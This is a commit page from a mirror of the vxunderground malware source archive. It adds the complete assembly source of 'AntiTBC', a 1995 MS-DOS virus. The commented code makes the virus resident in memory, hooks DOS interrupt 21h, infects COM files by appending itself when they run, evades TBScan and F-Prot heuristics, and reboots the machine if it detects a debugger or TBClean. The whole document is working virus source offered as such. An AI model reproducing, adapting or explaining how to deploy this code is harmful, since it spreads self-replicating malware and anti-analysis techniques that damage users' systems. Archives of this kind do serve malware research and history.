daniel/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2026-06-16 15:59:24 +00:00
Code Issues Projects Releases Wiki Activity

re-organize

Browse Source 
push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
Download Patch File Download Diff File Expand all files Collapse all files
MSDOS/A-Index/Virus.MSDOS.Unknown.antitbc.asm
+176
View File
@@ -0,0 +1,176 @@
; AntiTBC - written by Conzouler/IR 1995
;
; Based on RSV.
;
; Features:
; memory resident
; com-append on execute
; no tb-flags (of course)
; no f-prot heuristics
; fools tbclean (look at the restore routine)
;
.model tiny
.code
org 100h
psize equ (offset last - offset entry) / 10h + 2
size equ offset last - offset entry
entry:
db 0e9h,0,0 ; Initial jump
start:
call gores
oentry db 0CDh,20h,90h
gores:
mov ax, 4277h ; Installation check
int 21h
jnc restore
mov ah, 4Ah ; Get size of memory block
mov bx, 0FFFFh
int 21h
mov ah, 4Ah ; Change size of memory
sub bx, psize+1 ; Make space for virus
int 21h
mov ah, 48h ; Allocate memory
mov bx, psize
int 21h
sub ax, 10h ; Compensate org 100h
mov es, ax
mov di, 103h
mov si, sp ; Get entry point
mov si, [si]
sub si, 3 ; Subtract first call
mov cx, size-3
rep movsb ; Copy virus to new memory
push es
pop ds
inc byte ptr ds:[0F1h] ; Mark owner of memory
mov ax, 3521h ; Get interrupt vector
int 21h
mov i21o, bx
mov i21s, es
mov ah, 25h ; Set interrupt vector
mov dx, offset vec21
int 21h
restore:
mov di, 100h
push cs ; Set es and ds to psp
pop ds
push ds
pop es
pop si ; Get entry point
push di ; Save it
; This piece of code will fool a debugger
; Check if debugger
jmp clear ; Clear prefetch queue
clear: mov byte ptr [$+6], 0 ; Disable next jump
jmp nodebug ; This jump will be
; disabled if debugger.
; Hohoho.. A debugger or TB-Clean...
; Move destructive code to beginning instead
mov cx, efflen
add si, offset effect - offset oentry
rep movsb
retn
nodebug:
movsw ; Restore program entry point
movsb
retn ; Jump to 100h
effect:
; This is the effect that will run if a debugger is used.
; Reboot
db 0EAh, 000h, 0F0h, 0FFh, 0FFh ; Jump FFFF:F000
efflen equ $ - offset effect
vec21:
cmp ax, 4277h ; Installation check
jne v21e
iret
v21e: cmp ax, 4B00h ; Execute program
jne v21x
push ax ; Infect file
push bx
push cx
push dx
push ds
mov ax, 3D82h ; Open file
int 21h
xchg ax, bx ; Put handle in bx
push cs ; Read first bytes
pop ds ; to oentry
mov ah, 3Fh
mov dx, offset oentry
mov cx, 3
int 21h
cmp byte ptr oentry, 'M' ; Check if exe file
je infectx
push cx
mov ax, 4202h ; Seek to eof
xor cx, cx
cwd ; Zero dx
int 21h
sub ax, 3 ; Get offset to eof
mov word ptr entry[1], ax ; Save as jump
xchg dx, ax
mov ax, 4200h
int 21h
mov ah, 3Fh ; Infection check
mov dx, offset last
pop cx
int 21h
cmp byte ptr last[2], 0EAh ; Check if infected
je infectx
mov byte ptr entry, 0E9h ; Create jump opcode
mov ah, 3Fh ; Append virus
inc ah ; Fool TBScan
push ax
mov dx, 103h
mov cx, size-7
int 21h
mov ax, 4200h ; Insert jump
xor cx, cx
cwd
int 21h
pop ax
mov dh, 1h ; 100h in dx
mov cl, 3 ; 3 in cx
int 21h
infectx:
mov ah, 3Eh
int 21h
pop ds
pop dx
pop cx
pop bx
pop ax
v21x: db 0EAh ; Jump to dos vector
i21o dw ?
i21s dw ?
last:
end entry